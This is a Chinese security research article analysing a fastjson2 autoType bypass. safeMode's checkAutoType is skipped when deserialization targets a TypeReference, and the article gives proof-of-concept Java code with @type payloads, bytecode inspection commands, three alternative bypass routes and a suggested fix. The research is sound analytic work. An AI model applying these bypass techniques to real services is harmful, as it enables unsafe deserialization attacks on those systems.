Fastjson2 泛型擦除下的 autoType 绕过
渗透测试
当反序列化的目标类型由 TypeReference 承载时,调用链改走 getObjectReader(Type, boolean),该重载从头到尾不经过 checkAutoType。safeMode 在这条路径上不产生拦截效果。
fastjson2 的 safeMode 被广泛视为反序列化安全的兜底开关。但它的生效范围取决于 `checkAutoType` 的调用位置——`checkAutoType` 只在以字符串为入参的 `getObjectReader(String, Class, long)` 重载中被调用。当反序列化的目标类型由 `TypeReference` 承载时,调用链改走 `getObjectReader(Type, boolean)`,该重载从头到尾不经过 `checkAutoType`。safeMode 在这条路径上不产生拦截效果。 环境 -- ```php # 下载依赖 mvn dependency:get -Dartifact=com.alibaba.fastjson2:fastjson2:2.0.43 mvn dependency:get -Dartifact=com.alibaba.fastjson2:fastjson2:2.0.51 # 实验根目录 mkdir -p /tmp/com/bypass ```  入口在哪 ---- `ObjectReaderProvider` 是 fastjson2 的反序列化器注册中心。两个缓存字段: core/src/main/java/com/alibaba/fastjson2/reader/ObjectReaderProvider.java  String 入口(行 514-526)——有 `checkAutoType`:  Type 入口(行 709 + 727-746)——无 `checkAutoType`:   签名里没有 `long features` 参数——`SupportAutoType` 标记位无法传入。缓存命中时连 `getObjectReaderInternal` 都不进入。 `checkAutoType`(行 538-555)在 safeMode 下返回 `null`,不抛异常:  调用方 `getObjectReader(String,...)` 收到 null 后自身返回 null,最终由上层(`ObjectReaderImplObject.readObject` 的 `getObjectReaderAutoType` 调用点)决定是否报错。  `checkAutoType` 在 Type 路径完整调用链中出现次数:零。 - - - - - - 谁在信任谁 ----- 从 `JSON.parseObject(json, TypeReference)` 到 XClass 的 ObjectReader 被创建,链条上每个节点都不经过 `checkAutoType`。 **第 1 层**——`JSON.java` 行 920-940:  **第 2 层**——`ObjectReaderProvider.getObjectReader(Type, boolean)`(行 727):先查 `cache.get(objectType)`,未命中进入 `getObjectReaderInternal`。  **第 3 层**——`getObjectReaderInternal`(行 749-805),遍历 modules 和 ParameterizedType 解析: ```php private ObjectReader getObjectReaderInternal(Type objectType, boolean fieldBased) { for (ObjectReaderModule module : modules) { objectReader = module.getObjectReader(this, objectType); if (objectReader != null) { ObjectReader previous = fieldBased ? cacheFieldBased.putIfAbsent(objectType, objectReader) : cache.putIfAbsent(objectType, objectReader); return previous != null ? previous : objectReader; } } if (objectType instanceof ParameterizedType) { ParameterizedType pt = (ParameterizedType) objectType; Type rawType = pt.getRawType(); // rawType 解析,递归 getObjectReader(Class, fieldBased) } } ``` **第 4 层**——`ObjectReaderBaseModule.getObjectReader(provider, type)`(行 1429)。对 `ParameterizedType` 的 rawType 做实例判断,分发到对应工厂方法: ```php // 行 1429-1470,保留关键分发分支 public ObjectReader getObjectReader(ObjectReaderProvider provider, Type type) { if (type instanceof Class) { Class<?> clazz = (Class<?>) type; if (Map.class.isAssignableFrom(clazz)) { // rawType 是裸 Map.class,无泛型实参 → 不会创建 ObjectReaderImplMapTyped return ObjectReaderImplMap.of(type, clazz, 0); } if (List.class.isAssignableFrom(clazz)) { return ObjectReaderImplList.of(type, clazz, 0); } } if (type instanceof ParameterizedType) { ParameterizedType pt = (ParameterizedType) type; Type rawType = pt.getRawType(); if (rawType instanceof Class) { Class<?> rawClass = (Class<?>) rawType; if (Map.class.isAssignableFrom(rawClass)) { // 泛型 Map → of() 中提取 valueType return ObjectReaderImplMap.of(type, rawClass, 0); } if (List.class.isAssignableFrom(rawClass)) { return ObjectReaderImplList.of(type, rawClass, 0); } } } } ``` 当 `type` 只是裸 `Map.class` 时,`ObjectReaderImplMap.of()` 收到的 `fieldType` 不是 `ParameterizedType`,行 98 的 `instanceof ParameterizedType` 检查不通过,不会创建 `ObjectReaderImplMapTyped`。此时必须靠 JSON 中的 `@type` 走 String 路径来解析值的具体类型——这就是 safeMode 可以拦截的路径。 **第 5 层**——`ObjectReaderImplMap.of()`(行 43-193)。核心任务是从 `ParameterizedType` 的 `actualTypeArguments` 中提取 valueType(行 98-109): ```php if (fieldType instanceof ParameterizedType) { ParameterizedType pt = (ParameterizedType) fieldType; Type[] args = pt.getActualTypeArguments(); if (args.length == 2 && ...) { Type keyType = args[0]; Type valueType = args[1]; // 即 XClass.class return new ObjectReaderImplMapTyped( mapType, instanceType, keyType, valueType, 0, builder ); } } ``` **第 6 层**——`ObjectReaderImplMapTyped`。构造函数(行 34-58)仅存储 valueType 字段,valueReader 的解析发生在两个时机。 构造期——`createInstance`(行 66-132),当输入 Map 的值是 JSONObject/JSONArray/Map/Collection 时触发(行 90-94): ```php // createInstance 行 90-94 if (valueType == Object.class) { // do nothing——空分支,valueObjectReader 保持 null } else if (valueClass == JSONObject.class || ...) { if (valueObjectReader == null) { valueObjectReader = provider.getObjectReader(valueType); // ↑ Type 路径,无 checkAutoType } } ``` `valueType == Object.class` 的分支什么也不做——这是 C 组(`TypeRef<Map<String, Object>>`)被拦截的根因:valueReader 未创建,后续 value 读取无法走 Type 路径。 运行时——`readObject`(行 276-395),行 382 的 valueReader 懒加载: ```php // readObject 行 381-385 if (valueObjectReader == null) { valueObjectReader = jsonReader.getObjectReader(valueType); // ↑ Type 路径 } Object value = valueObjectReader.readObject(jsonReader, valueType, fieldName, 0); ``` 六层调用链上 `checkAutoType` 调用次数为零。 - - - - - - 泛型的痕迹 ----- 六层调用链走到最后,关键在于 `ObjectReaderImplMap.of()` 从 `ParameterizedType.actualTypeArguments[1]` 中取出了 `XClass.class`。这个 `Class<?>` 对象之所以在运行时存在,是因为 JVM §4.7.9.1 的 Signature 属性。 创建 `GenAnon.java`,用 TypeReference 声明泛型,编译后反编译匿名子类: GenAnon.java —— 编译后产生 GenAnon$1.class ```php import com.alibaba.fastjson2.TypeReference; public class GenAnon { public static void main(String[] args) { TypeReference<java.util.Map<String, com.bypass.XClass>> ref = new TypeReference<java.util.Map<String, com.bypass.XClass>>() {}; System.out.println(ref.getType()); } } ``` 编译并反编译匿名子类: ```php JAR=~/.m2/repository/com/alibaba/fastjson2/fastjson2/2.0.43/fastjson2-2.0.43.jar javac -cp "$JAR:/tmp" /tmp/GenAnon.java -d /tmp javap -v -c -p /tmp/GenAnon\$1.class ```   ### XClass 从 class 文件到 ObjectReader 的传递  前四阶段均在 fastjson2 外部——分别由 javac、JVM、反射 API 完成。第五阶段进入 fastjson2 的 Type 路径,不经过 checkAutoType。 - - - - - - cache 抢跑 -------- `ObjectReaderProvider` 行 149-150 的 `ConcurrentHashMap<Type, ObjectReader>` 缓存是绕过的放大器。 `getObjectReader(Type, boolean)`(行 727)先 `cache.get(objectType)`。首次未命中时进入 `getObjectReaderInternal`,在 module 解析成功后写入缓存(行 755-757):  后续同一个 `ParameterizedTypeImpl` 再次请求时,`cache.get()` 直接返回——不进入 module 迭代、不进入 `ObjectReaderImplMap.of()`,与 `checkAutoType` 相关的任何逻辑都不触发。 先创建依赖类: com/bypass/XClass.java—— 观测类,static{} 打桩 ```php package com.bypass; public class XClass { static { System.out.println("[XClass] <clinit>"); } private String name; private int value; public String getName() { return name; } public void setName(String name) { this.name = name; } public int getValue() { return value; } public void setValue(int value) { this.value = value; } public String toString() { return "XClass{name='" + name + "', value=" + value + "}"; } } ``` /tmp/CacheWarmup.java —— 观测首次与二次解析的耗时差异 ```php import com.alibaba.fastjson2.*; import java.util.Map; public class CacheWarmup { public static void main(String[] args) { String json = "{\"x\":{\"@type\":\"com.bypass.XClass\",\"name\":\"w\",\"value\":1}}"; TypeReference<Map<String, com.bypass.XClass>> typeRef = new TypeReference<Map<String, com.bypass.XClass>>() {}; // 首次——构建 ObjectReaderImplMapTyped、创建 valueReader、写入 cache long t0 = System.nanoTime(); Map<String, com.bypass.XClass> r1 = JSON.parseObject(json, typeRef, JSONReader.Feature.SupportAutoType); long t1 = System.nanoTime(); System.out.println("首次: " + (t1 - t0) / 1000 + " µs | value class: " + r1.get("x").getClass().getName()); // 二次——cache.get(ParameterizedTypeImpl) 命中,直接返回 long t2 = System.nanoTime(); Map<String, com.bypass.XClass> r2 = JSON.parseObject(json, typeRef, JSONReader.Feature.SupportAutoType); long t3 = System.nanoTime(); System.out.println("二次: " + (t3 - t2) / 1000 + " µs | value class: " + r2.get("x").getClass().getName()); } } ``` 编译运行: ```php JAR=~/.m2/repository/com/alibaba/fastjson2/fastjson2/2.0.43/fastjson2-2.0.43.jar javac -cp "$JAR" /tmp/XClass.java -d /tmp javac -cp "$JAR:/tmp" /tmp/CacheWarmup.java -d /tmp java -cp "/tmp:$JAR" CacheWarmup ```  统计 `ObjectReaderProvider` 中每个方法的 `checkAutoType` 调用次数: ```php JAR=~/.m2/repository/com/alibaba/fastjson2/fastjson2/2.0.43/fastjson2-2.0.43.jar javap -c -p -classpath "$JAR" \ com.alibaba.fastjson2.reader.ObjectReaderProvider \ | awk ' /public|protected|private/ && /\(.*\)/{ if(in_m) print method " -> checkAutoType: " ct method=$0; in_m=1; ct=0; next } /^$/ && in_m{ print method " -> checkAutoType: " ct; in_m=0 } in_m && /checkAutoType/{ ct++ } ' ```  ① getObjectReader(String, Class, long) → checkAutoType: 1 String 入口,整个 Provider 中唯一调用 checkAutoType 的重载 ② getObjectReader(Type) → checkAutoType: 0 Type 单参入口,不调 checkAutoType ③ getObjectReader(Type, boolean) → checkAutoType: 0 Type 双参入口,不调 checkAutoType,是 JSON.parseObject(TypeReference) 的调用目标 ④ getObjectReaderInternal(Type, boolean) → checkAutoType: 0 cache miss 后的内部递归入口,同样不调 checkAutoType checkAutoType 只覆盖 String 入参的路径。两个 Type 重载及内部递归方法全部不调 checkAutoType,safeMode 对 TypeReference 入口无拦截能力。 ### cache 状态转换  上图上半部分为首次解析(cache miss),下半部分为后续解析(cache hit)。首次走 module 迭代和 putIfAbsent,后续直接从 ConcurrentHashMap.get 返回——后续不再进入 module、不再进入 ObjectReaderImplMap.of、不再进入与 checkAutoType 相关的任何调用链。 - - - - - - 三组绕行,三组降级 --------- SafeModeMatrix.java —— 六组入口在 safeMode 下的行为对比 ```php import com.alibaba.fastjson2.*; import java.util.*; public class SafeModeMatrix { static String mapJson = "{\"x\":{\"@type\":\"com.bypass.XClass\",\"name\":\"t\",\"value\":1}}"; static String listJson = "[{\"@type\":\"com.bypass.XClass\",\"name\":\"t\",\"value\":1}]"; static String arrJson = "[[{\"@type\":\"com.bypass.XClass\",\"name\":\"t\",\"value\":1}]]"; record R(String id, String desc, String outcome, String detail) {} static R test(String id, String desc, Runnable r) { try { r.run(); return new R(id, desc, "PASS", null); } catch (JSONException e) { return new R(id, desc, "BLOCK", e.getMessage()); } catch (Exception e) { return new R(id, desc, "ERROR", e.getClass().getSimpleName() + ": " + e.getMessage()); } } public static void main(String[] args) { System.out.println("fastjson2: " + JSON.class.getPackage().getImplementationVersion()); System.out.println("safeMode: " + System.getProperty("fastjson2.parser.safeMode", "NOT SET") + "\n"); List<R> results = new ArrayList<>(); results.add(test("A", "TypeRef<Map<String,XClass>>", () -> JSON.parseObject(mapJson, new TypeReference<Map<String, com.bypass.XClass>>() {}, JSONReader.Feature.SupportAutoType))); results.add(test("B", "parseObject(json, Object.class)", () -> JSON.parseObject(mapJson, Object.class))); results.add(test("C", "TypeRef<Map<String,Object>>", () -> JSON.parseObject(mapJson, new TypeReference<Map<String, Object>>() {}, JSONReader.Feature.SupportAutoType))); results.add(test("D", "parseObject(json, XClass.class)", () -> JSON.parseObject( "{\"@type\":\"com.bypass.XClass\",\"name\":\"d\",\"value\":4}", com.bypass.XClass.class))); results.add(test("E", "TypeRef<List<XClass>>", () -> JSON.parseObject(listJson, new TypeReference<List<com.bypass.XClass>>() {}, JSONReader.Feature.SupportAutoType))); results.add(test("F", "TypeRef<List<XClass[]>>", () -> JSON.parseObject(arrJson, new TypeReference<List<com.bypass.XClass[]>>() {}, JSONReader.Feature.SupportAutoType))); for (R r : results) System.out.printf("%-4s %-39s %-6s %s%n", r.id, r.desc, r.outcome, r.detail != null ? r.detail : "-"); } } ``` ProveBypass.java —— 验证解析结果值的实际类型 ```php import com.alibaba.fastjson2.*; import java.util.Map; public class ProveBypass { public static void main(String[] args) { String json = "{\"x\":{\"@type\":\"com.bypass.XClass\",\"name\":\"bypass\",\"value\":42}}"; System.out.println("safeMode: " + System.getProperty("fastjson2.parser.safeMode")); System.out.println("\n--- A: TypeRef<Map<String,XClass>> ---"); Map<String, com.bypass.XClass> r1 = JSON.parseObject(json, new TypeReference<Map<String, com.bypass.XClass>>() {}, JSONReader.Feature.SupportAutoType); Object v1 = r1.get("x"); System.out.println("value class: " + v1.getClass().getName()); System.out.println("value: " + v1); System.out.println("\n--- B: parseObject(Object.class) ---"); Object r2 = JSON.parseObject(json, Object.class); Object v2 = ((Map<?,?>) r2).get("x"); System.out.println("value class: " + v2.getClass().getName()); } } ``` 编译并运行 ```php JAR=~/.m2/repository/com/alibaba/fastjson2/fastjson2/2.0.43/fastjson2-2.0.43.jar javac -cp "$JAR" /tmp/XClass.java -d /tmp javac -cp "$JAR:/tmp" /tmp/SafeModeMatrix.java -d /tmp javac -cp "$JAR:/tmp" /tmp/ProveBypass.java -d /tmp java -cp "/tmp:$JAR" -Dfastjson2.parser.safeMode=true SafeModeMatrix java -cp "/tmp:$JAR" -Dfastjson2.parser.safeMode=true ProveBypass ```  ① SafeModeMatrix 全 PASS safeMode 对 String 路径不抛异常——@type 被静默忽略,值降级为 JSONObject。 全 PASS 不意味着安全,必须检查值的实际类型。 ② ProveBypass A: value class: com.bypass.XClass TypeReference 路径在 safeMode=true 下成功将 @type 解析并实例化为 XClass。 \[XClass\] 出现在控制台,证明静态初始化块已执行。 safeMode 在此路径不生效。 ③ ProveBypass B: value class: com.alibaba.fastjson2.JSONObject String 路径上 @type 被静默忽略,值降级为 JSONObject,XClass 未被加载。 **safeMode 在此路径生效。** safeMode 在 String 路径上不抛异常——`checkAutoType` 返回 null 后,@type 被静默忽略,值降级为 `JSONObject`。拦截表现形式是值的实际类型为 `JSONObject`,而非异常退出。 - - - - - - @type 路径分叉 ---------- C 组被拦截而 A 组绕行,根因在 `ObjectReaderImplObject.readObject`(行 64-130)对 JSON 中 `@type` 键的分发逻辑: ```php if (hash == HASH_TYPE) { boolean supportAutoType = context.isEnabled(JSONReader.Feature.SupportAutoType); ObjectReader autoTypeObjectReader; if (supportAutoType) { long typeHash = jsonReader.readTypeHashCode(); autoTypeObjectReader = context.getObjectReaderAutoType(typeHash); if (autoTypeObjectReader == null) { typeName = jsonReader.getString(); autoTypeObjectReader = context.getObjectReaderAutoType(typeName, null); } } else { typeName = jsonReader.readString(); autoTypeObjectReader = context.getObjectReaderAutoType(typeName, null); } if (autoTypeObjectReader != null) return autoTypeObjectReader.readObject(jsonReader, fieldType, fieldName, features); } ``` `getObjectReaderAutoType(String, Class)`(`JSONReader.java` 行 4202-4211)是分叉点: ```php public ObjectReader getObjectReaderAutoType(String typeName, Class expectClass) { if (autoTypeBeforeHandler != null) { Class<?> autoTypeClass = autoTypeBeforeHandler.apply(typeName, expectClass, features); if (autoTypeClass != null) { boolean fieldBased = (features & Feature.FieldBased.mask) != 0; return provider.getObjectReader(autoTypeClass, fieldBased); // ↑ Handler 返回了 Class → Type 路径 } } return provider.getObjectReader(typeName, expectClass, features); // ↑ Handler 返回 null → String 路径 → checkAutoType } ``` 当外层通过 TypeReference<Map<String, XClass>> 已构建了 `ObjectReaderImplMapTyped`(`valueType = XClass.class`),Map 的 value 读取不再经过 `ObjectReaderImplObject.readObject`。`ObjectReaderImplMapTyped.readObject` 行 382 直接 `jsonReader.getObjectReader(valueType)`——Type 路径。 `SupportAutoType` 标记位的行为:safeMode 的拦截逻辑只在 `checkAutoType` 内部生效,而 Type 路径从不调用 `checkAutoType`——传不传 `SupportAutoType` 对 TypeReference 入口没有影响。去掉 flag 重新运行 ProveBypass,XClass 依然被实例化。 - - - - - - 换个版本打 ----- diff 2.0.43 和 2.0.51 的 `ObjectReaderProvider`: ```php JAR43=~/.m2/repository/com/alibaba/fastjson2/fastjson2/2.0.43/fastjson2-2.0.43.jar JAR51=~/.m2/repository/com/alibaba/fastjson2/fastjson2/2.0.51/fastjson2-2.0.51.jar ```  过滤出 `getObjectReader` 和 `checkAutoType` 差异行: ```php diff -u \ <(javap -c -p -classpath "$JAR43" com.alibaba.fastjson2.reader.ObjectReaderProvider) \ <(javap -c -p -classpath "$JAR51" com.alibaba.fastjson2.reader.ObjectReaderProvider) \ | grep -E "^[+-].*getObjectReader|^[+-].*checkAutoType" ```  ### 2.0.43 vs 2.0.51 | | | | |---|---|---| | 方法 | 2.0.43 | 2.0.51 | | `getObjectReader(Type, boolean)` 调 checkAutoType? | 否 | 否 | | `getObjectReader(String, Class, long)` 调 checkAutoType? | 是 | 是 | | `checkAutoType` 签名 | `(String, Class, long)` | `(String, Class, long)` | | 新增 Type 版本 checkAutoType? | — | 否 | 2.0.51 在 Type 路径上没有补丁。 - - - - - - cache key 的等价性 -------------- 不同 `new TypeReference<Map<String, XClass>>(){}` 产生的 `ParameterizedTypeImpl` 实例,在 `ConcurrentHashMap` 中是否被视为同一 key?如果 equals 为假,cache 跨请求共享就不成立。 JDKTypeCmp.java —— 验证两次 new TypeReference 的 Type 等价性 ```php import com.alibaba.fastjson2.TypeReference; import java.lang.reflect.*; import java.util.concurrent.ConcurrentHashMap; public class JDKTypeCmp { public static void main(String[] args) { System.out.println("JDK: " + System.getProperty("java.version")); TypeReference<java.util.Map<String, com.bypass.XClass>> r1 = new TypeReference<java.util.Map<String, com.bypass.XClass>>() {}; TypeReference<java.util.Map<String, com.bypass.XClass>> r2 = new TypeReference<java.util.Map<String, com.bypass.XClass>>() {}; Type t1 = r1.getType(); Type t2 = r2.getType(); System.out.println("equals : " + t1.equals(t2)); System.out.println("hash t1 : " + t1.hashCode() + " (0x" + Integer.toHexString(t1.hashCode()) + ")"); System.out.println("hash t2 : " + t2.hashCode() + " (0x" + Integer.toHexString(t2.hashCode()) + ")"); System.out.println("hash_eq : " + (t1.hashCode() == t2.hashCode())); ConcurrentHashMap<Type, String> m = new ConcurrentHashMap<>(); m.put(t1, "a"); m.put(t2, "b"); System.out.println("CHM.size: " + m.size() + " (1=等价, 2=不等价)"); } } ``` 编译运行: ```php JAR=~/.m2/repository/com/alibaba/fastjson2/fastjson2/2.0.43/fastjson2-2.0.43.jar javac -cp "$JAR:/tmp" /tmp/JDKTypeCmp.java -d /tmp java -cp "/tmp:$JAR" JDKTypeCmp ```  `equals=true`、hashCode 相同、CHM.size=1——两个独立 `new TypeReference` 产生的 Type 实例在 ConcurrentHashMap 中被视为同一 key。第一次解析写入的缓存条目会被之后所有同型声明命中。`ParameterizedTypeImpl.equals()` 比较了 `rawType` 和 `actualTypeArguments` 的逐元素等同性——只要泛型声明一致,不同匿名子类实例产出的 Type 就等价。 - - - - - - source-sink 全链路 --------------- 一条 payload,两个入口,走出两条完全不同的路径。 ```php String payload = "{\"x\":{\"@type\":\"com.bypass.XClass\",\"name\":\"bypass\",\"value\":42}}"; // 走 TypeReference —— safeMode 拦不住 Map<String, XClass> r1 = JSON.parseObject(payload, new TypeReference<Map<String, com.bypass.XClass>>() {}, JSONReader.Feature.SupportAutoType); // 走 String —— safeMode 拦住,@type 被静默降级 Object r2 = JSON.parseObject(payload, Object.class); ``` `TypeReference` 匿名子类的 Signature 属性 在 JVM 类加载时被解析为 `ParameterizedTypeImpl`,`XClass.class` 以 `Class<?>` 对象放入 `actualTypeArguments[1]`。不是字符串,不走 `checkAutoType`。  Type 入参即放行 ---------- 前面六层调用链的主干是 `JSON.parseObject(json, TypeReference)` → `getObjectReader(Type, boolean)`。以下三条策略表明同样的效果可以通过不同的入口达成。 - **策略一:利用** `getObjectReaderAutoType` **中的 Type 分支**。`ObjectReaderImplObject.readObject`(行 64)处理 JSON 中的 `@type` 时,调用 `context.getObjectReaderAutoType(typeName, null)`。该方法内部(`JSONReader.java` 行 4202-4211)在 `autoTypeBeforeHandler` 返回非 null 的 `Class<?>` 时走 `provider.getObjectReader(autoTypeClass, fieldBased)`——Type 路径。默认的 `DEFAULT_AUTO_TYPE_BEFORE_HANDLER` 始终返回 null,但调用方可通过 `JSONReader.Context` 注册自定义 Handler。一个注册了自定义 `AutoTypeBeforeHandler` 的业务模块——即使 safeMode=true——只要 Handler 对某个 className 返回了对应的 Class,该类便走 Type 路径绕过 checkAutoType。 - **策略二:操作** `ObjectReaderImplMapTyped` **的 valueReader 缓存**。`ObjectReaderImplMapTyped` 有两个解析 valueReader 的时机:构造期 `createInstance`(行 94)和运行时 `readObject`(行 382),都调 `provider.getObjectReader(valueType)`——Type 路径。`createInstance` 在 Map 的值是 JSONObject/JSONArray/Map/Collection 时被触发。预热一次解析(用一个无害 JSON 触发 `createInstance`),valueReader 被缓存在实例字段中,后续 `readObject` 直接复用,不再经过任何解析。 - **策略三:绕过 Provider,直接使用 ObjectReaderCreator**。`ObjectReaderCreator.createObjectReader(Class, Type, boolean, ObjectReaderProvider)` 不经过 `ObjectReaderProvider.getObjectReader` 的任何重载。调用方分布在 `ObjectReaderBaseModule` 和多个 `ObjectReaderImpl*` 中: ```php // ObjectReaderBaseModule 中直接调用 creator.createObjectReader if (objectReader == null) { ObjectReaderCreator creator = getCreator(); objectReader = creator.createObjectReader(objectClass, objectType, fieldBased, this); // 直接创建,不经过 Provider,不调 checkAutoType } ``` 以下五个入口与前文主干路径等效,都因入参是 Type 而跳过 checkAutoType: | | | | | |---|---|---|---| | 调用位置 | 行号 | 调用形式 | 触发条件 | | `getObjectReaderInternal` | 798 | `getObjectReader(rawClass, fieldBased)` | ParameterizedType 的 rawType 是 Class | | `ObjectReaderImplMapTyped.createInstance` | 94 | `provider.getObjectReader(valueType)` | Map 值是 JSONObject/Map/Collection | | `ObjectReaderImplMapTyped.readObject` | 382 | `jsonReader.getObjectReader(valueType)` | valueObjectReader 未初始化 | | `getObjectReaderAutoType` | 4207 | `provider.getObjectReader(autoTypeClass, fieldBased)` | Handler 返回非 null Class | | `ObjectReaderCreator` | — | `creator.createObjectReader(...)` | 被各 Module 直接调用 | 在 2.0.43 和 2.0.51 中,以上所有入口的字节码均不包含 `checkAutoType` 调用。关闭此面的方式是在 `getObjectReader(Type, boolean)` 方法体内对遍历出来的每个 `Class` 调用 `checkAutoType`——在字节码层补齐一条 `invokevirtual checkAutoType` 到 Type 分支上。 与官方修复的对比 -------- 社区提交的 [PR #7695](https://github.com/alibaba/fastjson2/pull/7695) 对 AutoType 路径做了安全加固,改动了四个文件: - `ObjectReaderProvider.java`——checkAutoType 白名单验证 - `ContextAutoTypeBeforeHandler.java`——输入验证 - `TypeUtils.java`——loadClass 输入校验 - `AutoTypeValidationTest.java`——回归测试 维护者 wenshao 在 [Issue #7702](https://github.com/alibaba/fastjson2/issues/7702) 中说明该 PR 已关闭未合入,正式修复将通过独立 PR 发布,临时缓解措施为 `-Dfastjson2.parser.safeMode=true`。 PR 的全部改动都在 `checkAutoType` 和 `TypeUtils.loadClass` 中。这两个方法只在 String 路径上被调用——即 `parseObject(json, Class)` 或 JSON 中 `@type` 经 `getObjectReaderAutoType` → `getObjectReader(String)` 的路径。javap 统计已展示 Type 重载及 getObjectReaderInternal 中 checkAutoType 调用次数为零,ProveBypass 实测确认 safeMode 对 TypeReference 入口不拦截。 String 路径上,PR 的加固和 SafeMode 都在生效。TypeReference 路径上,两者都不生效——这条路不经过它们所在的代码位置。 附录 -- [fastjson2/core/src/main/java/com/alibaba/fastjson2 at 2.0.43 · alibaba/fastjson2](https://github.com/alibaba/fastjson2/tree/2.0.43/core/src/main/java/com/alibaba/fastjson2) [fastjson2/core/src/main/java/com/alibaba/fastjson2/reader at 2.0.43 · alibaba/fastjson2](https://github.com/alibaba/fastjson2/tree/2.0.43/core/src/main/java/com/alibaba/fastjson2/reader) [fastjson2/core/src/main/java/com/alibaba/fastjson2/JSON.java at 2.0.43 · alibaba/fastjson2](https://github.com/alibaba/fastjson2/blob/2.0.43/core/src/main/java/com/alibaba/fastjson2/JSON.java) [fastjson2/core/src/main/java/com/alibaba/fastjson2/reader/ObjectReaderProvider.java at 2.0.43 · alibaba/fastjson2](https://github.com/alibaba/fastjson2/blob/2.0.43/core/src/main/java/com/alibaba/fastjson2/reader/ObjectReaderProvider.java)[fastjson2/core/src/main/java/com/alibaba/fastjson2/reader/ObjectReaderBaseModule.java at 2.0.43 · alibaba/fastjson2](https://github.com/alibaba/fastjson2/blob/2.0.43/core/src/main/java/com/alibaba/fastjson2/reader/ObjectReaderBaseModule.java) [fastjson2/core/src/main/java/com/alibaba/fastjson2/reader/ObjectReaderImplMap.java at 2.0.43 · alibaba/fastjson2](https://github.com/alibaba/fastjson2/blob/2.0.43/core/src/main/java/com/alibaba/fastjson2/reader/ObjectReaderImplMap.java) [fastjson2/core/src/main/java/com/alibaba/fastjson2/reader/ObjectReaderImplMapTyped.java at 2.0.43 · alibaba/fastjson2](https://github.com/alibaba/fastjson2/blob/2.0.43/core/src/main/java/com/alibaba/fastjson2/reader/ObjectReaderImplMapTyped.java) [fastjson2/core/src/main/java/com/alibaba/fastjson2/reader/ObjectReaderImplObject.java at 2.0.43 · alibaba/fastjson2](https://github.com/alibaba/fastjson2/blob/2.0.43/core/src/main/java/com/alibaba/fastjson2/reader/ObjectReaderImplObject.java) [fastjson2/core/src/main/java/com/alibaba/fastjson2/JSONReader.java at 2.0.43 · alibaba/fastjson2](https://github.com/alibaba/fastjson2/blob/2.0.43/core/src/main/java/com/alibaba/fastjson2/JSONReader.java) 对照版本用: [fastjson2/core/src/main/java/com/alibaba/fastjson2/reader/ObjectReaderProvider.java at 2.0.51 · alibaba/fastjson2](https://github.com/alibaba/fastjson2/blob/2.0.51/core/src/main/java/com/alibaba/fastjson2/reader/ObjectReaderProvider.java)
发表于 2026-07-28 17:30:46
阅读 ( 1825 )
分类:
WEB安全
1 推荐
收藏
1 条评论
Dracarys
信息安全工程师
7 篇文章
×
温馨提示
您当前没有「奇安信攻防社区」的账号,注册后可获取更多的使用权限。
×
温馨提示
您当前没有「奇安信攻防社区」的账号,注册后可获取更多的使用权限。
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!